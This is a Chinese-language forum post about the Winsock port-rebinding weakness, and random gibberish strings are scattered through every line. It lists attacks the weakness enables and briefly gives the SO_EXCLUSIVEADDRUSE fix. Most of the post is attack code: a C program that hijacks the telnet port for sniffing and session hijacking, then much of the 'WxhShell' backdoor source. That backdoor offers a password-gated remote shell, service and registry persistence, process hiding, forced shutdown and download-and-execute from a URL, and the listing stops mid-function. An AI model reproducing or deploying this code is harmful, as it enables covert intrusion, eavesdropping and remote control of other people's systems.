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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: O^DLp/vM  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J;S Z"I'  
&~'^;hy=  
  saddr.sin_family = AF_INET; P%y9fU2[  
?Ll1B3f  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 95.s,'0  
eHc.#OA&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )CoJ9PO7  
>>T,M@s-:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 B,4 3b O  
,E &W{b  
  这意味着什么?意味着可以进行如下的攻击: PnJA'@x  
lGXr-K?+Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 f3SAK!V+s  
Sd *7jW?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *(o^w'5  
TeHxqWx  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4hWFgk  
Exz(t'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "P!zu(h4  
xgJyG.?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 p?#xd!tc2N  
/xb37,   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 gJg%3K~,  
I|tn7|*-A[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 S #C;"se  
50^CILKo7  
  #include 3^`.bm4 ^  
  #include p]Q(Z  
  #include asJt 6C  
  #include    }w5`Oig[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   yHs'E4V`$  
  int main() 3A'9=h,lVK  
  { fiQ/ &]|5  
  WORD wVersionRequested; (AT)w/  
  DWORD ret; kPYQcOK8  
  WSADATA wsaData; 97n,^t2F\  
  BOOL val; <ahcE1h  
  SOCKADDR_IN saddr; \]qwD m/  
  SOCKADDR_IN scaddr; qz }PTx  
  int err; A&C?|M? M  
  SOCKET s; q) !G5j3  
  SOCKET sc; q]DE\*@  
  int caddsize; w -5_Ru  
  HANDLE mt; Qy\K oo  
  DWORD tid;   e^h4cC\^  
  wVersionRequested = MAKEWORD( 2, 2 ); )%bY2 pk  
  err = WSAStartup( wVersionRequested, &wsaData ); 6BObV/S Jg  
  if ( err != 0 ) { l-q.VY2  
  printf("error!WSAStartup failed!\n"); / jN &VpDG  
  return -1; ka<rlh<h  
  } }qN   
  saddr.sin_family = AF_INET; t Z]b0T(e  
   NBO&VYs|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 eXCH*vZY  
WO+_ |*&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4p]hY!7  
  saddr.sin_port = htons(23); x<>In"QV  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /S`d?AV  
  { e[%g'}D:-  
  printf("error!socket failed!\n"); Ew2ksZ>B]&  
  return -1; K~ VUD(  
  } _j?/O)M c  
  val = TRUE; AUwIF/>F(]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =aRE  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4fau 9bW  
  { |r/4 ({n  
  printf("error!setsockopt failed!\n"); \q:PU6q  
  return -1; }tPI#[cfK  
  } F}4jm,w  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Y -G;;~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 K2ry@haN  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8p.O rdp  
ek]CTUl*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Zl7m:b2M  
  { _.BX#BIF  
  ret=GetLastError(); uDG#L6  
  printf("error!bind failed!\n");  `AxhA.&V  
  return -1; :\,3=suWq  
  } X-J<gI(Y  
  listen(s,2); Ng1uJa[k!d  
  while(1) XkuZ2(  
  { yWZ%|K~$  
  caddsize = sizeof(scaddr); qb$f,E[  
  //接受连接请求 X] v.Yk=wu  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); k?ksv+e\  
  if(sc!=INVALID_SOCKET) KHt.g`1:R  
  { `+EjmY  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /@f3|L<1@V  
  if(mt==NULL) ]z 5gC`E0  
  { Hv<jf38  
  printf("Thread Creat Failed!\n"); 5Y(f7,JX  
  break; qY%{c-aMA  
  } TkV*^j5  
  } e"6!0Py#*  
  CloseHandle(mt); 2B&|0&WI  
  } VD-2{em  
  closesocket(s); /]"2;e-s+  
  WSACleanup(); kV3Zt@+  
  return 0; /WE1afe_R  
  }    B!+`km5  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3bPF+(`J  
  { $_NP4V8|z/  
  SOCKET ss = (SOCKET)lpParam; <e7  
  SOCKET sc; [";<YR7iRN  
  unsigned char buf[4096]; $.-\2;U  
  SOCKADDR_IN saddr; 1U< g  
  long num; M}BqSzd*  
  DWORD val; \hFIg3  
  DWORD ret; Oj^qh+r  
  //如果是隐藏端口应用的话,可以在此处加一些判断 J,]U"+;H  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   y}!}*Qj+/  
  saddr.sin_family = AF_INET; rg{|/ ;imT  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |HMpVT-;j  
  saddr.sin_port = htons(23); Z4@GcdZ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $r87]y!  
  { E0a &1j  
  printf("error!socket failed!\n"); s6J`i&uu  
  return -1; 8^%Nl `_2B  
  } a5# B&|#q  
  val = 100; '{xPdN  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $E]W U?U  
  { Wf>scl `s  
  ret = GetLastError(); h$~ \to$C  
  return -1; TEi~X 2u  
  } ]M5w!O!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `t~Zkb4>  
  { Gw)>i45 :  
  ret = GetLastError(); )Y}8)/Pud  
  return -1; GV T[)jS  
  } 7;;HP`vY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {@w!kl~8  
  { }Pn]j7u!  
  printf("error!socket connect failed!\n"); 27-GfC=7*  
  closesocket(sc); JM-+p  
  closesocket(ss); Yx{qVU  
  return -1; (5(TbyWwD  
  } 9akIu.H  
  while(1) _r&,n\ T  
  { !*@sX7H  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xf]_@T;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 D<d4"*qo  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 O#962\  
  num = recv(ss,buf,4096,0); y}t1r |p  
  if(num>0) oWo/QNw9  
  send(sc,buf,num,0); &KS*rHgt?  
  else if(num==0) H~Fb=.h]U  
  break; kKP<K+hH  
  num = recv(sc,buf,4096,0); xLmgr72D  
  if(num>0) 5g(`U+ ,*(  
  send(ss,buf,num,0); &?xZ Hr`  
  else if(num==0) >l3iAy!sZ  
  break; ^N\$oV$  
  } a{FCg%vD)  
  closesocket(ss); =~f\m:Y  
  closesocket(sc); }hy, }2(8  
  return 0 ;  F6\Hqv  
  } kg^VzNX  
qu:nV"~_  
F+3}Gkn  
========================================================== o6[aP[~F  
|kXx9vGq@  
下边附上一个代码,,WXhSHELL at-+%e  
z[`O YwsW  
========================================================== -]K9sy)I  
R#x~f  
#include "stdafx.h" Btgxzf  
',Q|g^rF]  
#include <stdio.h> NP#:} )  
#include <string.h> 86AZ)UP2D  
#include <windows.h> 7} 2Aq  
#include <winsock2.h> ;mAlF>6]\  
#include <winsvc.h> {5, ]7=]  
#include <urlmon.h> OmR) W'  
X5gI'u  
#pragma comment (lib, "Ws2_32.lib") p2/Pj)2  
#pragma comment (lib, "urlmon.lib") y]e[fZ`L  
R ]! [h  
#define MAX_USER   100 // 最大客户端连接数 :7 P/ZC%  
#define BUF_SOCK   200 // sock buffer hmQ;!9  
#define KEY_BUFF   255 // 输入 buffer L H8iHB  
+xc1cki_{  
#define REBOOT     0   // 重启 0<";9qN)6  
#define SHUTDOWN   1   // 关机 (q]_&%yW  
iUua!uC  
#define DEF_PORT   5000 // 监听端口 .*(xkJI3  
il5Qo  
#define REG_LEN     16   // 注册表键长度 >3Mzs AH\  
#define SVC_LEN     80   // NT服务名长度 y`|86` Y  
{%b*4x0?  
// 从dll定义API R#^.8g)t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !\ 6<kQg#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f"}g5eg+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !F|#TETrt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $%P?2g"j,  
W:gpcR]>  
// wxhshell配置信息 CVy\']  
struct WSCFG { nde_%d$  
  int ws_port;         // 监听端口 .*Mp+Q}^  
  char ws_passstr[REG_LEN]; // 口令 ~stJO])a  
  int ws_autoins;       // 安装标记, 1=yes 0=no <Cbi5DtR  
  char ws_regname[REG_LEN]; // 注册表键名 NrK.DY4  
  char ws_svcname[REG_LEN]; // 服务名 &{uj3s&C   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U7do,jCoa  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L]kd.JJvy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r&/M')}?Lw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !w;oVPNg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 00-cT9C3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 psFY=^69o  
rd:WF(]  
}; (& UQ^  
F!_8?=|  
// default Wxhshell configuration ^P}jn`4  
struct WSCFG wscfg={DEF_PORT, rn9n_)  
    "xuhuanlingzhe", Oe~x,=X)  
    1, ?-Zl(uX  
    "Wxhshell", + ;LO|!  
    "Wxhshell", Rl/5eE8  
            "WxhShell Service", 5w+KIHhN|  
    "Wrsky Windows CmdShell Service", tg%#W `  
    "Please Input Your Password: ", J6[V7R[\  
  1, pv[Gg^  
  "http://www.wrsky.com/wxhshell.exe", /f}!G  
  "Wxhshell.exe" QB.QG!@  
    }; K!,T.qA&=  
2t[P-on  
// 消息定义模块 dtT: ,&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @y!oKF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -Is;cbfLj/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j"F?^0aR,Q  
char *msg_ws_ext="\n\rExit."; R0g^0K.  
char *msg_ws_end="\n\rQuit."; #=g1V?D  
char *msg_ws_boot="\n\rReboot..."; vk0b b3){D  
char *msg_ws_poff="\n\rShutdown..."; 0Fw4}f.o  
char *msg_ws_down="\n\rSave to "; {U'\2Ge<m  
$-MVsa9>I  
char *msg_ws_err="\n\rErr!"; L~+/LV  
char *msg_ws_ok="\n\rOK!"; NHL9qL"qk  
.sCj3sX*  
char ExeFile[MAX_PATH]; VtN1 [}  
int nUser = 0; Cvp!(<<gK  
HANDLE handles[MAX_USER]; ZccvZl ;b  
int OsIsNt; q S qS@+p  
_1,hO?TK  
SERVICE_STATUS       serviceStatus; 2z9s$tp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "P9(k>  
?Qxf~,F  
// 函数声明 1.tAl6]  
int Install(void); vvI23!H  
int Uninstall(void); ,r8#-~A6,A  
int DownloadFile(char *sURL, SOCKET wsh); r@a]fTf  
int Boot(int flag); lz7?Z  
void HideProc(void); }6_*i!68"U  
int GetOsVer(void); 0MI4"<  
int Wxhshell(SOCKET wsl); %vil ~NU  
void TalkWithClient(void *cs); @9tzk [  
int CmdShell(SOCKET sock); <I#nwoHN  
int StartFromService(void); sg8[TFX@Z  
int StartWxhshell(LPSTR lpCmdLine); z ub"Ap3  
@PT([1C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZuFcJ?8i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :pfLa2f+  
SF=TG84<  
// 数据结构和表定义 %E\zR/  
SERVICE_TABLE_ENTRY DispatchTable[] = X- ZZLl#  
{ (^NYC$ZxM=  
{wscfg.ws_svcname, NTServiceMain}, \$4 [qG=  
{NULL, NULL} )_YB8jUR-X  
}; R4y]<8}  
M$48}q+  
// 自我安装 n_4 r'w  
int Install(void) 7 x'2  
{ @ry/zG#  
  char svExeFile[MAX_PATH]; ysj5/wtO0  
  HKEY key; >qz#&  
  strcpy(svExeFile,ExeFile); Q+oV? S3{  
3=Q:{  
// 如果是win9x系统,修改注册表设为自启动 5-hnk' ~  
if(!OsIsNt) { Z)}UCi+/".  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^) (-7H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b'W.l1]<-  
  RegCloseKey(key); Q5^ #:uZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^TtL-|I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3vs{*T"  
  RegCloseKey(key); P)l_ :;&  
  return 0; f"*k>=ETI  
    } &|<f|B MX  
  } iF9d?9TWl  
} hvGD`  
else { VsJiE0'%  
9Pb6Z}  
// 如果是NT以上系统,安装为系统服务 L#",.x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 35Yf,@VO  
if (schSCManager!=0) nwp(% fBo  
{ gBky ZK  
  SC_HANDLE schService = CreateService n y cn  
  ( <iA\ZS:  
  schSCManager, W=#AfPi$&  
  wscfg.ws_svcname, }v's>Ae~p  
  wscfg.ws_svcdisp, PY;tu#W!%  
  SERVICE_ALL_ACCESS, Khb Ku0Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9Ta0Li  
  SERVICE_AUTO_START, dU#-;/}o  
  SERVICE_ERROR_NORMAL, n)~*BpL3  
  svExeFile, q)mG6Su d  
  NULL, `BQv;NtP  
  NULL, Z\$M)e8n  
  NULL, u&w})`+u5  
  NULL, "M, 1ElQ  
  NULL $~S~pvT  
  ); .faf!3d  
  if (schService!=0) Y hQ)M5  
  { N+ak{3  
  CloseServiceHandle(schService); 8qqN0"{,  
  CloseServiceHandle(schSCManager); XZ . T%g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _6Y+E"@zs  
  strcat(svExeFile,wscfg.ws_svcname); lXg5UrW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P}]o$nWT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xbBqR _ H_  
  RegCloseKey(key); cGiL9|k  
  return 0; 5f{P% x(  
    } :\vs kk),  
  } sO` oapy  
  CloseServiceHandle(schSCManager); n>?D-)g  
} 2j: 0!%  
} 1X[^^p~^  
Kxch.$hc,  
return 1; V"Z8-u  
} g@37t @I  
<|3%}?  
// 自我卸载 PJcfiRa'jQ  
int Uninstall(void) s-_D,$ |  
{ BY.k.]/  
  HKEY key; V ^+p:nP  
Bb:C^CHIQm  
if(!OsIsNt) { qa-FLUkIk!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s/=%kCo  
  RegDeleteValue(key,wscfg.ws_regname); 4 s ax  
  RegCloseKey(key); 'w27Lt'V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *I)J%#  
  RegDeleteValue(key,wscfg.ws_regname); uN:KivVe  
  RegCloseKey(key); HeO:=OE~>  
  return 0; y ?&hA! x  
  } kzjuW  
} =KUmvV*\  
} a3>/B$pE  
else { {G Jl<G1  
+]s,VSL5`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S~i9~jA  
if (schSCManager!=0) GPGE7X'  
{ 0muC4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v!8=B21  
  if (schService!=0) t&xoi7!$  
  { Y@`uBB[  
  if(DeleteService(schService)!=0) { U fyhd  
  CloseServiceHandle(schService); c 3O/#*  
  CloseServiceHandle(schSCManager); F?|Efpzow?  
  return 0; *m}8L%<HT  
  } HMCLJ/  
  CloseServiceHandle(schService); W|7|XO  
  } \c -m\|  
  CloseServiceHandle(schSCManager); `R$i|,9 )  
} Vw1>d+<~-)  
} }! EVf  
dgjK\pH`h  
return 1; Cjx4vP  
} O|V0WiY<  
!,$#i  
// 从指定url下载文件 7ocUFY0"  
int DownloadFile(char *sURL, SOCKET wsh) mUa#sTm  
{ x-m*p^}  
  HRESULT hr; $ ]s^M=8  
char seps[]= "/"; >`\.i,X .D  
char *token; zak\%yY`  
char *file; `*3A7y  
char myURL[MAX_PATH]; z_!IA ] v  
char myFILE[MAX_PATH]; ? `p/jA  
o{G*7V@H  
strcpy(myURL,sURL); &t[[4+Qt  
  token=strtok(myURL,seps); `9co7[Z  
  while(token!=NULL) WM'!|lg  
  { d ItfR'$  
    file=token; orFwy!  
  token=strtok(NULL,seps); z'U.}27&o  
  } vN'+5*Cgy6  
!fzS' pkk.  
GetCurrentDirectory(MAX_PATH,myFILE); !+%gJiu:  
strcat(myFILE, "\\"); XI\Slq  
strcat(myFILE, file); Jh3  
  send(wsh,myFILE,strlen(myFILE),0); P |t yyjO  
send(wsh,"...",3,0); >$JE!.p%o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C< c6Ub  
  if(hr==S_OK) Z 2N6r6  
return 0; Vr EGR$  
else w$:\!FImx  
return 1; [kg?q5F)  
In1W/ ?  
} ;OlnIxH(W  
1'qXT{f/~  
// 系统电源模块 ~.: { Ik]  
int Boot(int flag) :C*}Yg  
{ < D/K[mz-  
  HANDLE hToken; >qo!#vJc a  
  TOKEN_PRIVILEGES tkp; ?6CLUu|7n  
w7Yu} JY^  
  if(OsIsNt) { '#7k9\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QPVi& *8_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N4vcd=uG#  
    tkp.PrivilegeCount = 1; EB}B75)x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a;xeHbE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SZF 8InyF  
if(flag==REBOOT) { ;k!.ey $S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Kk8wlC  
  return 0; 8"j$=T6;W  
} ~#E&E%sJ  
else { q[\3,Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,^([aK  
  return 0; pG#tMec  
} 98Vv K?  
  } p(n0(}eVC'  
  else { ~6f/jCluR%  
if(flag==REBOOT) { G'\[dwD,u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yv4x.cfI2W  
  return 0;  Zi~.  
} 1m~|e.g_'`  
else { Mt4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  ;j26(dH  
  return 0; s9ix&m  
} rRRh-%.RU  
} .V hU:_u  
t`8Jz~G`  
return 1; R4'.QZ-x  
} G`!,>n 3  
a51(ySC}<s  
// win9x进程隐藏模块 ;\7`G!q  
void HideProc(void) rr tMd  
{ k*C69  
l$gJ^Wf2gY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A;;#]]48  
  if ( hKernel != NULL ) =3035{\  
  { nX (bVT4i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z?+ )ox  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,7B7X)m{3  
    FreeLibrary(hKernel); P8YnKyI,.  
  } xw8k<`  
Yh1</C  
return; 6]1RxrAV  
} L ci?  
Q#%LIkeq  
// 获取操作系统版本 SSI> +A  
int GetOsVer(void) <.ZIhDiEl  
{ ?Z{/0X)]|  
  OSVERSIONINFO winfo; %$&eC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?ES{t4"  
  GetVersionEx(&winfo); >V^8<^?G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R|RGoGE6g  
  return 1; >Lcu  
  else ? X8`+`nh  
  return 0; a?y ucA  
} WfO EI1  
<#:iltO  
// 客户端句柄模块 oO tjG3B({  
int Wxhshell(SOCKET wsl) %Ik5|\ob?  
{ JY c:@\   
  SOCKET wsh; ;j T{< Y  
  struct sockaddr_in client; 12 )  
  DWORD myID; rPB Ju0D"  
t%mi#Gh(  
  while(nUser<MAX_USER) XO;_F"H=  
{ `lY-/Ty  
  int nSize=sizeof(client); r.?dT |A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a0ms9%Y;Q[  
  if(wsh==INVALID_SOCKET) return 1; pss')YP.  
UT@Qo}:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t XzuP_0  
if(handles[nUser]==0) L[zTT\a  
  closesocket(wsh); S_sHwObFu|  
else iK4\N;H  
  nUser++; $D`Kz*/.  
  } 3mo<O}}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gkK(7=r%  
EZWWv L  
  return 0; PlCw,=K8f  
} 2_Lu 0Yrg  
Lj /^cx  
// 关闭 socket W(qK?"s2  
void CloseIt(SOCKET wsh) LiEEQ  
{ <RxxGD  
closesocket(wsh); Nn_b  
nUser--; t]sk[  
ExitThread(0); @^0}wk  
} !v3d:n\W8  
|$tF{\  
// 客户端请求句柄 \/dOv [  
void TalkWithClient(void *cs) p_xJ KQS  
{ /\fR6|tJ  
sB0]lj-[Un  
  SOCKET wsh=(SOCKET)cs; fbI5!i#lz  
  char pwd[SVC_LEN]; iw.F8[})  
  char cmd[KEY_BUFF]; - .) f~#8  
char chr[1]; <e Y2}Ml  
int i,j; ~I")-2"B  
h/5V~ :)  
  while (nUser < MAX_USER) { T pCXe\W  
rE "FN~9P  
if(wscfg.ws_passstr) { <DMm [V{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]Y,V)41gCE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1^AQLOiRE1  
  //ZeroMemory(pwd,KEY_BUFF); +^J&x>5  
      i=0; `_&vvJPn@!  
  while(i<SVC_LEN) { Urw =a$  
"'+/ax[{  
  // 设置超时 A/zAB3  
  fd_set FdRead; M\ wCZG  
  struct timeval TimeOut; rhF2U  
  FD_ZERO(&FdRead); Ozqh Jb  
  FD_SET(wsh,&FdRead); {dh@|BzsbH  
  TimeOut.tv_sec=8; Wu,=jL3?$A  
  TimeOut.tv_usec=0; 8I*yS#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &gh>'z;`r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [g==#[  
:EPe,v RT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7LaRFL.,kO  
  pwd=chr[0]; M3eSj`c3  
  if(chr[0]==0xd || chr[0]==0xa) { BD$Lf,_  
  pwd=0; J^WX^".E  
  break; a{e1g93}  
  } ZkibfVwe  
  i++; 1< b~="  
    } mJ8EiRSE  
HII@Ed f?  
  // 如果是非法用户,关闭 socket uEsF 8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U*EBH  
} 4tkb7D q  
akj#.aYk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E?&YcVA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $LBgBH &z  
t%y i3  
while(1) { 7#HSe#0J  
uv$utu>< *  
  ZeroMemory(cmd,KEY_BUFF); U+-;(Fh~  
x[&)\[t  
      // 自动支持客户端 telnet标准   MTR+|I3V  
  j=0; 4Qi-zNNB  
  while(j<KEY_BUFF) { ,\T`gh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >of9m  
  cmd[j]=chr[0]; CTqhXk[  
  if(chr[0]==0xa || chr[0]==0xd) { &i805,lx  
  cmd[j]=0; ?J|  
  break; ^S|}<6~6b  
  } ,=pn}\ R  
  j++; y`z?lmV)xM  
    } X~*/ ~f  
'8 ^cl:X  
  // 下载文件 Vo%ikR #  
  if(strstr(cmd,"http://")) { `/G9*tIR8g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -lfbn =3  
  if(DownloadFile(cmd,wsh)) {rF9[S"h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }_}LaEYAo  
  else c ? Zi/7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >2'A~?%  
  } (nkiuCO  
  else { N7q6pBA"E  
B90fUK2g  
    switch(cmd[0]) { {\h:k\k  
  &`'@}o>2  
  // 帮助 'v(b^x<ZS  
  case '?': { wgQx.8 h>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :VR% I;g;  
    break; f]Zj"Tt-  
  } %xX b5aY  
  // 安装 *aYuuRx  
  case 'i': { 6 ZXRb  
    if(Install()) a!j{A?7Kw.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {XXnMO4uR;  
    else  ;t/KF"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $F/xv&t  
    break; PmE 8O  
    } <pFbm  
  // 卸载 b$/7rVH!  
  case 'r': { y?iW^>|?L=  
    if(Uninstall()) !@h)3f]`1G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MbQ%'z6D  
    else /.UISArH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S2 -J1 x2N  
    break; (V}?y:)  
    } Q0XSQOl  
  // 显示 wxhshell 所在路径 xd`\Ai  
  case 'p': { 7<*g'6JG[  
    char svExeFile[MAX_PATH]; |lIgvHgg  
    strcpy(svExeFile,"\n\r"); NiVZ=wEp,  
      strcat(svExeFile,ExeFile); 5z.Y}  
        send(wsh,svExeFile,strlen(svExeFile),0); a3[,3  
    break; Eh *u6K)Z  
    } 0 \1g-kc!v  
  // 重启 S""F58 H n  
  case 'b': { bhKe"#m|S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wEl/s P  
    if(Boot(REBOOT)) B?d+^sz]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ; Yt'$D*CP  
    else { ( _MY;S  
    closesocket(wsh); ]0")iY_  
    ExitThread(0); EO/TuKt  
    } ,H/BW`rL]#  
    break; u&j_;Y!6  
    } $b )k  
  // 关机 S:c d'68D  
  case 'd': { V|2[>\Cv  
